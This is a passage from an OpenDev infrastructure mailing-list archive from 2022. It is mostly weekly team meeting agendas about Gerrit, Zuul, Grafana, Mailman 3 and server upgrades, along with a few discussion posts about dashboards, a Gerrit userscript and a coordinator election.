- service-discuss - lists.opendev.org

Team Meeting Agenda for August 16, 2022
by Clark Boylan 15 Aug '22

15 Aug '22

We will meet August 16, 2022 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** OpenDev Service Coordinator Nomination period happening now until August 16, 2022 * Actions from last meeting * Specs Review * Topics ** Improving Grafana management tooling (clarkb 20220816) *** https://lists.opendev.org/pipermail/service-discuss/2022-July/000342.html *** https://review.opendev.org/c/openstack/openstack-zuul-jobs/+/851955 Last remaining cleanup change ** Bastion host (ianw 20220816) *** worth moving ansible/openstacksdk to a venv? system-config jobs first then production *** c.f. https://review.opendev.org/c/opendev/system-config/+/847700 *** bastion host OS upgrade. prioin-place? new host? wait until have time to return to some of the bootstrapping/parallel job work? ** Upgrading Bionic servers to Focal/Jammy (clarkb 20220816) *** https://etherpad.opendev.org/p/opendev-bionic-server-upgrades ** Mailman 3 (clarkb 20220816) *** https://review.opendev.org/c/opendev/system-config/+/851248 Still very much WIP but worth a look at this point *** The test deployment is largely there now. The next step is testing data migration from mm2 to mm3. ** Gitea 1.17 upgrade (clarkb 20220816) *** https://review.opendev.org/c/opendev/system-config/+/847204 *** https://github.com/go-gitea/gitea/milestone/122 1.17.1 Milestone is in progress * Open discussion

1 0

Team Meeting Agenda for August 9, 2022
by Clark Boylan 08 Aug '22

08 Aug '22

We will meet on August 9, 2022 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** OpenDev Service Coordinator Nomination period happening now until August 16, 2022 * Actions from last meeting * Specs Review * Topics ** Improving Grafana management tooling (clarkb 20220809) *** https://lists.opendev.org/pipermail/service-discuss/2022-July/000342.html *** https://review.opendev.org/q/topic:grafana-json ** Bastion host (ianw 20220809) *** worth moving ansible/openstacksdk to a venv? system-config jobs first then production *** c.f. https://review.opendev.org/c/opendev/system-config/+/847700 *** bastion host OS upgrade. prioin-place? new host? wait until have time to return to some of the bootstrapping/parallel job work? ** Upgrading Bionic servers to Focal/Jammy (clarkb 20220809) *** https://etherpad.opendev.org/p/opendev-bionic-server-upgrades ** Mailman 3 (clarkb 20220809) *** https://review.opendev.org/c/opendev/system-config/+/851248 Still very much WIP but worth a look at this point *** The service deployment is just about all there. Need to figure out configuring the service and lists properly now. ** Gitea 1.17 upgrade (clarkb 20220809) *** https://review.opendev.org/c/opendev/system-config/+/847204 *** https://github.com/go-gitea/gitea/milestone/122 1.17.1 Milestone is in progress * Open discussion

1 0

[all] Dynamic Zuul results table in Gerrit 3
by Radosław Piliszek 04 Aug '22

04 Aug '22

Hello Fellow OpenStack and OpenDev Folks! TL;DR click on [3] and enjoy. I am starting this thread to not hijack the discussion happening on [1]. First of all, I would like to thank gibi (Balazs Gibizer) for hacking a way to get the place to render the table in the first place (pun intended). I have been a long-time-now user of [2]. I have improved and customised it for myself but never really got to share back the changes I made. The new Gerrit obviously broke the whole script so it was of no use to share at that particular state. However, inspired by gibi's work, I decided to finally sit down and fix it to work with Gerrit 3 and here it comes: [3]. Works well on Chrome with Tampermonkey. Not tested others. I hope you will enjoy this little helper (I do). I know the script looks super fugly but it generally boils down to a mix of styles of 3 people and Gerrit having funky UI rendering. Finally, I'd also like to thank hrw (Marcin Juszkiewicz) for linking me to the original Michel's script in 2019. [1] http://lists.openstack.org/pipermail/openstack-discuss/2020-November/019051… [2] https://opendev.org/x/coats/src/commit/444c95738677593dcfed0cfd9667d4c4f0d5… [3] https://gist.github.com/yoctozepto/7ea1271c299d143388b7c1b1802ee75e Kind regards, -yoctozepto

7 11

Service Coordinator Election August 2022 Edition
by Clark Boylan 02 Aug '22

02 Aug '22

It is almost that time again. Back in February I said that we'd have a Service Coordinator Election nomination period that runs from August 2, 2022 to August 16, 2022 [0]. If you'd like to run (I'm more than happy for someone else to do it) now is the time to start thinking about that. I'm giving everyone a head up a week in advance today, and will send a notice on August 2nd that the nomination period is beginning. If you'd like to take this on you can send your nomination as a reply to this email thread or in a new email thread to the service-discuss list. [0] https://lists.opendev.org/pipermail/service-discuss/2022-February/000318.ht… Clark

1 1

Infra Team Meeting Agenda for August 2, 2022
by Clark Boylan 01 Aug '22

01 Aug '22

We will meet with this agenda on August 2, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** OpenDev Service Coordinator Nomination time begins now (August 2, 2022) and ends August 16, 2022 * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220802) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Improving Grafana management tooling (clarkb 20220802) *** https://lists.opendev.org/pipermail/service-discuss/2022-July/000342.html *** https://review.opendev.org/q/topic:grafana-json ** Bastion host (ianw 20220802) *** worth moving ansible/openstacksdk to a venv? system-config jobs first then production *** c.f. https://review.opendev.org/c/opendev/system-config/+/847700 *** bastion host OS upgrade. prioin-place? new host? wait until have time to return to some of the bootstrapping/parallel job work? ** Upgrading Bionic servers to Focal/Jammy (clarkb 20220802) *** https://etherpad.opendev.org/p/opendev-bionic-server-upgrades *** https://review.opendev.org/c/opendev/system-config/+/851094/2 Run system-config-run-base against Jammy *** https://review.opendev.org/c/opendev/system-config/+/851266/1 Fix install-docker role for Jammy *** https://review.opendev.org/c/opendev/system-config/+/851248 WIP change to run mailman3 on Jammy ** Gitea 1.17 upgrade (clarkb 20220802) *** https://review.opendev.org/c/opendev/system-config/+/847204 ** Rocky images no longer booting (clarkb 20220802) *** Lack of machine ID broke installation of kernels to /boot which broke our Grub config *** https://review.opendev.org/c/openstack/diskimage-builder/+/851687 * Open discussion

1 0

Team Meeting Agenda for July 26, 2022
by Clark Boylan 25 Jul '22

25 Jul '22

We will meet on July 26, 2022 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220726) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Improving Grafana management tooling (clarkb 20220726) *** https://lists.opendev.org/pipermail/service-discuss/2022-July/000342.html *** https://review.opendev.org/q/topic:grafana-json ** Bastion host (ianw 20220726) *** worth moving ansible/openstacksdk to a venv? system-config jobs first then production *** c.f. https://review.opendev.org/c/opendev/system-config/+/847700 *** bastion host OS upgrade. prioin-place? new host? wait until have time to return to some of the bootstrapping/parallel job work? ** Upgrading Bionic servers to Focal/Jammy (clarkb 20220726) *** https://etherpad.opendev.org/p/opendev-bionic-server-upgrades ** Zuul job POST_FAILURES (clarkb 20220726) *** TripleO and OSA are both seeing a higher than usual number of POST_FAILURES *** We now log the target swift region before uploading logs. Next step is collecting info on where this occurs to determine if it is consistent. ** OpenDev Service coordinator elections beginning soon (clarkb 20220726) *** In February I stated August 2 - 16, 2022 would work as a nomination period. *** Will send email about the process after our meeting. * Open discussion

1 0

Team Meeting Agenda for July 19, 2022
by Clark Boylan 18 Jul '22

18 Jul '22

Hello, We will meet on July 19, 2022 at 19:00UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220719) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Improving Grafana management tooling (clarkb 20220719) *** Grafyaml doesn't properly support setting the color thresholds on graphs anymore (this makes failed states show red and happy states show green, we always seen green now) *** https://lists.opendev.org/pipermail/service-discuss/2022-July/000342.html *** https://review.opendev.org/q/topic:grafana-json ** Bastion host (ianw 20220719) *** worth moving ansible/openstacksdk to a venv? system-config jobs first then production *** c.f. https://review.opendev.org/c/opendev/system-config/+/847700 *** bastion host OS upgrade. prioin-place? new host? wait until have time to return to some of the bootstrapping/parallel job work? ** Upgrading Bionic servers to Focal/Jammy (clarkb 20220719) *** https://etherpad.opendev.org/p/opendev-bionic-server-upgrades ** Zuul + Ansible v5 + Glibc deadlock (clarkb 20220719) *** Using backported Debian testing glibc on Zuul images now. ** Zuul job POST_FAILURES (clarkb 20220719) *** TripleO and OSA are both seeing a higher than usual number of POST_FAILURES *** https://review.opendev.org/c/opendev/base-jobs/+/848881 Add remote log store location debug info to prod base job. ** New Gerrit 3.5 caches (clarkb 20220719) *** Gerrit 3.5 added some new caches that consume a fair bit more disk space. *** We've grown the disk for Gerrit to accommodate this change with newer Gerrit. *** https://review.opendev.org/c/opendev/system-config/+/849886 is our fallback which will disable the caches should their growth continue to be unsustainable. * Open discussion

1 0

Re: [service-announce] Updating Zuul's Default Ansible Version to Ansible v5
by Ian Wienand 10 Jul '22

10 Jul '22

On Wed, Jun 15, 2022 at 12:11:00PM -0700, Clark Boylan wrote: > The OpenDev team will be updating the default Ansible version in our > Zuul tenants from Ansible 2.9 to Ansible 5 on June 30, 2022. Zuul > itself will eventually update its default, but making the change in > our tenant configs allows us to control exactly when this happens. Note this has been merged with https://review.opendev.org/c/openstack/project-config/+/849120 Just for visibility I've cc'd this to openstack-discuss; but please subscribe to service-announce [1] if you're interested in such OpenDev infra updates. Thanks, -i [1] https://lists.opendev.org/cgi-bin/mailman/listinfo/service-announce

1 0

Team Meeting Agenda for July 5, 2022
by Clark Boylan 05 Jul '22

05 Jul '22

Hello, We will meet on July 5, 2022 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** clarkb missing July 12 meeting * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220705) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog *** Auto upgrades of Zuul are in place now. ** Improving Grafana management tooling (clarkb 20220705) *** Grafyaml doesn't properly support setting the color thresholds on graphs anymore (this makes failed states show red and happy states show green, we always seen green now) *** https://lists.opendev.org/pipermail/service-discuss/2022-July/000342.html *** https://review.opendev.org/q/topic:grafana-json ** Run a custom URL shortener service (frickler 20220705) *** Many people use bit.ly or similar in IRC channel topics and elsewhere *** https://opensource.com/article/18/7/apache-url-shortener shows an easy solution that could be git-based *** Should be easy to with some new DNS record on static.o.o *** Data could be managed in a single file (maybe in project-config) or one file per URL ** Zuul job POST_FAILURES (clarkb 20220705) *** TripleO and OSA are both seeing a higher than usual number of POST_FAILURES *** https://review.opendev.org/c/opendev/base-jobs/+/848027 Add remote log store location debug info to base jobs. ** Bastion host (ianw 20220628) *** worth moving ansible/openstacksdk to a venv? system-config jobs first then production *** c.f. https://review.opendev.org/c/opendev/system-config/+/847700 *** bastion host OS upgrade. prioin-place? new host? wait until have time to return to some of the bootstrapping/parallel job work? * Open discussion Apologies for getting this agenda sent out late. Yesterday was a holiday, and I had less time indoors than anticipated.

1 0

New approaches for grafana.opendev.org
by Ian Wienand 30 Jun '22

30 Jun '22

Hello, 65;6800;1c Currently all graphs pushed to grafana.opendev.org are defined in project-config/graphana as YAML files consumed by grafyaml [1] The fundamental tension for grafyaml is that the upstream Grafana project do not document and publish a defined schema for dashboards and their components. grafyaml has a subset of the upstream data model which is incomplete, in some cases buggy -- but also, perhaps most importantly, undocumented [1]. We have over a million data points of interesting information in graphite but I feel there are significant barriers to new and interesting visualisations. With no clear documentation, either upstream or in grafyaml, where is somebody supposed to start? A series of changes have been reviewed and landed through grafyaml that allow it to upload dashboards exported directly from the Grafana UI in its native .json format. I would like to achieve some consensus that we use this feature in the OpenDev environment. I will leave aside the issues with the schema encoded in grafyaml; it's possible this might be fixed. AIUI the main reason for duplicating the schema in grafyaml was that it presented more reviewable YAML files. To this I would say: 1) Layout of the page; i.e. the rows, panels, nesting, etc. My argument here is that reviewers having to build a mental model of what a dashboard will look like -- from either YAML or json -- does not make for thorough reviews, especially if you're not already intimately familiar with the desired output. To this end, I have added a new job "project-config-grafana" which produces an artifact "Screenshots" that loads changed graphs into a Grafana instance and stores actual screenshots loaded from a headless browser. I believe this is a much more effective way to review proposed layout changes for both formats of input. 2) The data graphed. This comes down to the metric selected, and any functions applied. My argument here is that firstly the screenshot is a good way to evaluate this; for example you will see if you've accidentally treated milliseconds as seconds, etc. when the graph axis is wrong. As to the actual data -- ensuring we have the right metric, etc. -- I would say that the "raw" output of the exported graphs just isn't that hard to parse. It is unobfuscated and reads logically. I have proposed some examples: https://review.opendev.org/c/openstack/project-config/+/833213/6/grafana/in… https://review.opendev.org/c/openstack/project-config/+/848212/3/grafana/no… I think you can clearly see the metrics chosen and the functions applied. 3) Generally more confusing. This is true, as the .json file is meant for Grafana to read. However, for better or worse, this is the actual data model of your graph page. To this end, I have proposed documentation and a helper-script to start a Grafana instance in a local container, and load it with the defined dashboards: https://review.opendev.org/c/openstack/project-config/+/833214/ This is useful for interactive editing sessions to develop new dashboards, and if a reviewer wishes to examine a change more closely than the screenshots provided by CI, they can simply pull the change from gerrit and load it into a live instance using this simple method. I think this is a significantly lower barrier to get people developing new and interesting things against the data provided. I'm not proposing any existing graph need change [2] and grafyaml's features to setup datasources and load the graphs are still used. I'm not proposing we remove or even stop any development of the YAML schema if people want to work on that and prefer to keep their graphs that way. I think that there is a great resource here that is underutilised, and my hope is we have a path to greatly reduce the barriers to new contributions. Sorry for the long mail, -i [1] Grafana does a good job of backwards compatibility, so "old" dashboards work in new releases. Hence our extant graphs, though producing output that looks very different from what the UI produces now, generally work. Modulo some bugs where the "update" process doesn't work (thresholds was one I found), deprecations of features that will disappear (c.f. time-series graphs) and just the many panel types that are completely unsupported. [2] Though most extant graphs use deprecated panel types that will have to be updated one day; but that's an issue for another time.

1 0

Team Meeting Agenda for June 28, 2022
by Clark Boylan 27 Jun '22

27 Jun '22

Hello, We will meet with this agenda on June 28, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** clarkb missing July 12 meeting * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220628) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog *** Auto Zuul upgrade and reboots didn't run due to a flock issue. Should be fixed for this next weekend. ** Gerrit 3.5 upgrade (ianw 20220628) *** https://etherpad.opendev.org/p/gerrit-upgrade-3.5 *** Upgrade completed. *** Setting a change to the WorkInProgress state seems to unconditionally mark it as having merge conflicts in change listings (but not on the change page itself) *** #link https://review.opendev.org/c/opendev/system-config/+/847035 Removing Gerrit 3.4 and adding Gerrit 3.6 images and testing. ** Improving Grafana management tooling (clarkb 20220628) *** Grafyaml doesn't properly support setting the color thresholds on graphs anymore (this makes failed states show red and happy states show green, we always seen green now) *** https://review.opendev.org/q/topic:grafana-screenshots Improved testing of our dashboards to see that they render as expected. ** Run a custom URL shortener service (frickler 20220628) *** Many people use bit.ly or similar in IRC channel topics and elsewhere *** https://opensource.com/article/18/7/apache-url-shortener shows an easy solution that could be git-based *** Should be easy to with some new DNS record on static.o.o *** Data could be managed in a single file (maybe in project-config) or one file per URL ** Zuul job POST_FAILURES (clarkb 20220628) *** TripleO and OSA are both seeing a higher than usual number of POST_FAILURES *** The cause seems to be post-run timeouts during swift log uploads *** Both OSA and tripleo upload quite a number of log files. It could be related to this, but we're yet to find a root cause due to difficulty of debugging things that don't log properly. ** Bastion host (ianw 20220628) *** worth moving ansible/openstacksdk to a venv? system-config jobs first then production *** c.f. https://review.opendev.org/c/opendev/system-config/+/847700 *** bastion host OS upgrade. prioin-place? new host? wait until have time to return to some of the bootstrapping/parallel job work? * Open discussion

1 0

Team Meeting Agenda for June 21, 2022
by Clark Boylan 20 Jun '22

20 Jun '22

Hello, We will meet with this agenda on June 21, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220621) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog *** https://review.opendev.org/c/opendev/system-config/+/846195 Running Zuul cluster upgrade playbook automatically. ** Container maintenance (clarkb 20220621) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Continue to update services with dedicated users. *** Upgrading Zookeeper *** Upgrading MariaDB **** review02's mariadb was upgraded to 10.6 from 10.4 using the process described in https://etherpad.opendev.org/p/gerrit-upgrade-3.5 ** Gerrit 3.5 upgrade (ianw 20220621) *** https://etherpad.opendev.org/p/gerrit-upgrade-3.5 *** Upgrade completed. *** Couple of issues discovered **** https://bugs.chromium.org/p/gerrit/issues/detail?id=16018 **** Setting a change to the WorkInProgress state seems to unconditionally mark it as having merge conflicts in change listings (but not on the change page itself) *** Time to look at removing our 3.4 image builds and adding 3.6 image builds with updated upgrade testing. ** Enable webapp on nodepool launchers? (frickler 20220621) *** Would help with checking for image freshness / builds failing *** Also look into pushing stats into grafana? ** Run a custom URL shortener service (frickler 20220621) *** Many people use bit.ly or similar in IRC channel topics and elsewhere *** https://opensource.com/article/18/7/apache-url-shortener shows an easy solution that could be git-based *** Should be easy to with some new DNS record on static.o.o *** Data could be managed in a single file (maybe in project-config) or one file per URL * Open discussion

1 0

Team meeting agenda for June 14, 2022
by Clark Boylan 13 Jun '22

13 Jun '22

We will meet on June 14, 2022 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220614) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog *** Running Zuul cluster upgrade playbook automatically. ** Container maintenance (clarkb 20220614) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Continue to update services with dedicated users. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Gerrit 3.5 upgrade planning (ianw 20220614) *** https://etherpad.opendev.org/p/gerrit-upgrade-3.5 *** http://lists.opendev.org/pipermail/service-announce/2022-May/000039.html Scheduled for 20:00 UTC June 19, 2022 ** Zuul changing default Ansible version to v5 soon (clarkb 20220614) *** Now that Zuul supports Ansible v5 the next step is to default to v5 *** Need to send an announcement for the default change in OpenDev happening at the end of June. ** Enable webapp on nodepool launchers? (frickler 20220611) *** Would help with checking for image freshness / builds failing *** Also look into pushing stats into grafana? ** Run a custom URL shortener service (frickler 20220611) *** Many people use bit.ly or similar in IRC channel topics and elsewhere *** https://opensource.com/article/18/7/apache-url-shortener shows an easy solution that could be git-based *** Should be easy to with some new DNS record on static.o.o *** Data could be managed in a single file (maybe in project-config) or one file per URL * Open discussion

1 0

Team Meeting Agenda for May 31, 2022
by Clark Boylan 30 May '22

30 May '22

Hello, We will meet on May 31, 2022 at 19:00 UTC in #opendev-meeting with this agenda: * Announcements ** Summit happens June 7-9. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220531) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog *** https://opendev.org/opendev/system-config/src/branch/master/playbooks/zuul_… Automated graceful Zuul upgrades and server reboots **** Hit a bug with zuul merger graceful shutdowns **** Hit a bug in zuul's model api 8 transition **** Otherwise seemed to work well. ** Container maintenance (clarkb 20220531) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Continue to update services with dedicated users. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Gerrit 3.5 upgrade planning (ianw 20220531) *** https://etherpad.opendev.org/p/gerrit-upgrade-3.5 *** http://lists.opendev.org/pipermail/service-announce/2022-May/000039.html Scheduled for 20:00 UTC June 19, 2022 *** Need to explicitly enable conflict checking ** Manually triggering periodic jobs (frickler 20220531) *** What is the correct process for manually triggering periodic jobs? ** Zuul changing default Ansible version to v5 soon (clarkb 20220531) *** Now that Zuul supports Ansible v5 the next step is to default to v5 *** Need to send an announcement for the default change in OpenDev happening at the end of June. ** Removing Ethercalc (clarkb 20220531) *** Announced removal date was May 31, 2022 *** Last call before clarkb proceeds with this cleanup ** Do we want to hold a meeting June 7, 2022 (clarkb 20220531) *** clarkb and fungi are unlikely to be able to attend due to the summit acting as a conflict * Open discussion

1 0

Team Meeting Agenda for May 24, 2022
by Clark Boylan 23 May '22

23 May '22

Hello, We will meet with this agenda on May 24, 2022 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** Summit happens June 7-9. No meeting June 7. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220524) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220524) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Continue to update services with dedicated users. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Support for Ubuntu 22.04 LTS aka Jammy Jellyfish (frickler 20220524) *** Last major missing piece is wheel builds (and mirroring?) *** https://review.opendev.org/c/openstack/openstack-zuul-jobs/+/842839 *** https://review.opendev.org/c/openstack/project-config/+/842841 ** Gerrit 3.5 upgrade planning (ianw 20220524) *** https://etherpad.opendev.org/p/gerrit-upgrade-3.5 *** http://lists.opendev.org/pipermail/service-announce/2022-May/000039.html Scheduled for 20:00 UTC June 19, 2022 *** Need to explicitly enable conflict checking ** Move requirements propose-updates job to py3.8 + py3.9 (frickler 20220523) *** Initial change: https://review.opendev.org/c/openstack/project-config/+/837815 *** Build results: https://zuul.opendev.org/t/openstack/builds?job_name=propose-updates&projec… *** First attempt at fixing: https://review.opendev.org/c/openstack/project-config/+/842837 *** Second fix: https://review.opendev.org/c/openstack/project-config/+/842853 *** Related question: How to properly trigger manual runs of periodic pipeline? **** Using example from zuul docs is failing, e.g. https://zuul.opendev.org/t/openstack/build/3d28674ac1044c22956c20ed39c82a4a ** Zuul changing default Ansible version to v5 soon (clarkb 20220524) *** Now that Zuul supports Ansible v5 the next step is to default to v5 *** Playbooks and roles likely need updating. We should look into that for our hosted projects. *** Tenants can override a default to older Ansible if necessary. *** Eventually Ansible will remove old Ansible support. * Open discussion

1 0

Team Meeting Agenda for May 17, 2022
by Clark Boylan 16 May '22

16 May '22

We will meet on May 17, 2022 at 19:00 UTC in #opendev-meeting with this agenda: * Announcements ** The OpenInfra Summit is about a month away. Its been a while since we had one of those in person. ** ClarkB out May 18 * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220510) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220510) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Continue to update services with dedicated users. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Support for Ubuntu 22.04 LTS aka Jammy Jellyfish (frickler 20220510) *** Last major missing piece is wheel builds and mirroring ** Gerrit 3.5 upgrade planning (ianw 20220517) *** https://etherpad.opendev.org/p/gerrit-upgrade-3.5 *** Scheduling * Open discussion

1 0

Team Meeting Agenda for May 10, 2022
by Clark Boylan 09 May '22

09 May '22

Hello, We will meet on May 10, 2022 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** The OpenInfra Summit is about a month away. Its been a while since we had one of those in person. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220510) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220510) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Continue to update services with dedicated users. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220510) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old **** Some changes have been labeled with topic:system-config-cleanup and are worth landing: https://review.opendev.org/q/project:opendev/system-config+status:open+topi… *** Please look at your changes and update/rebase as necessary and set topic:system-config-cleanup and we can try to get through this backlog. Or abandon unnecessary changes. ** Automating the build process for our Ubuntu PPA packages (clarkb 20220510) *** ianw is adding more automation to our vhd-util and openafs package builds. This should make it easier for us to update the packages and add new distro releases. ** Support for Ubuntu 22.04 LTS aka Jammy Jellyfish (frickler 20220510) *** Last major missing piece is wheel builds and mirroring ** Keycloak container image update (clarkb 20220510) *** Keycloak stopped publishing to Docker Hub. *** Keycloak has two versions of the image. The Legacy wildfly image (what we use) and a non wildfly image we should probably convert to. *** https://review.opendev.org/c/opendev/system-config/+/840529 Pull keycloak from quay.io * Open discussion

1 0

Team Meeting Agenda for May 3, 2022
by Clark Boylan 02 May '22

02 May '22

We will meet with this agenda on May 3, 2022 at 19:00 UTC in @opendev-meeting: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220503) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220503) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Continue to update services with dedicated users. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220503) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old **** Some changes have been labeled with topic:system-config-cleanup and are worth landing: https://review.opendev.org/q/project:opendev/system-config+status:open+topi… *** Please look at your changes and update/rebase as necessary and set topic:system-config-cleanup and we can try to get through this backlog. Or abandon unnecessary changes. ** Support for Ubuntu 22.04 LTS aka Jammy Jellyfish (frickler 20220503) *** Ubuntu-ports mirroring is in progress *** Do we need to build our openafs package for jammy (this would be to build wheel mirrors to start, but would potentially be used on zuul executors etc in the future) ** Shutting down Ethercalc (clarkb 20220503) *** The software doesn't seem to be well maintained *** The software lacks history tracking and rollback like etherpad *** Is largely used for PTG and other tools could be used for that (like PTGbot) *** clarkb would like to propose shutting this service down at the end of the month. * Open discussion

1 0

Team Meeting Agenda for April 26, 2022
by Clark Boylan 25 Apr '22

25 Apr '22

Hello, We will meet on April 26, 2022 at 19:00 UTC in #opendev with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20220426) *** Bootstrapping bridge via Zuul is now a complicated subject. Can use zuul secrets to make it happen. Are we comfortable with this? *** https://review.opendev.org/c/opendev/infra-specs/+/821645 -- spec outlining some of the issues with secrets *** https://review.opendev.org/c/opendev/system-config/+/821155 -- sample of secret writing; more info in changelog ** Container maintenance (clarkb 20220426) *** https://etherpad.opendev.org/p/opendev-container-maintenance *** Running containers with dedicated users. **** Our zuul insecure-ci-registry has been updated. *** Upgrading Zookeeper *** Upgrading MariaDB *** Eventually convert MariaDB container's from uid 999 to something that makes more sense on the system. ** Spring cleaning for old reviews? (frickler 20220426) *** system-config has >300 open reviews, most of them in merge-conflict and >1y old **** Some changes have been labeled with topic:system-config-cleanup and are worth landing: https://review.opendev.org/q/project:opendev/system-config+status:open+topi… *** Please look at your changes and update/rebase as necessary and set topic:system-config-cleanup and we can try to get through this backlog. Or abandon unnecessary changes. ** Support for Ubuntu 22.04 LTS aka Jammy Jellyfish (frickler 20220425) *** Repo mirrors https://review.opendev.org/c/opendev/system-config/+/838923 *** DIB testing https://review.opendev.org/c/openstack/diskimage-builder/+/836228 *** Actual build https://review.opendev.org/c/openstack/project-config/+/839057 *** Nodepool release with fixes? *** Drop mirroring for Xenial in order to recover AFS quota? **** We cleaned up a bunch of centos, epel, opensuse, open euler, fedora, etc mirrors to remove unnecessary content which made more than enough room for Jammy. ** Deleting the subunit2sql MySQL Trove instance (clarkb 20220426) *** The subunit2sql workers and the health api service that sat in front of this database are gone now *** Currently using 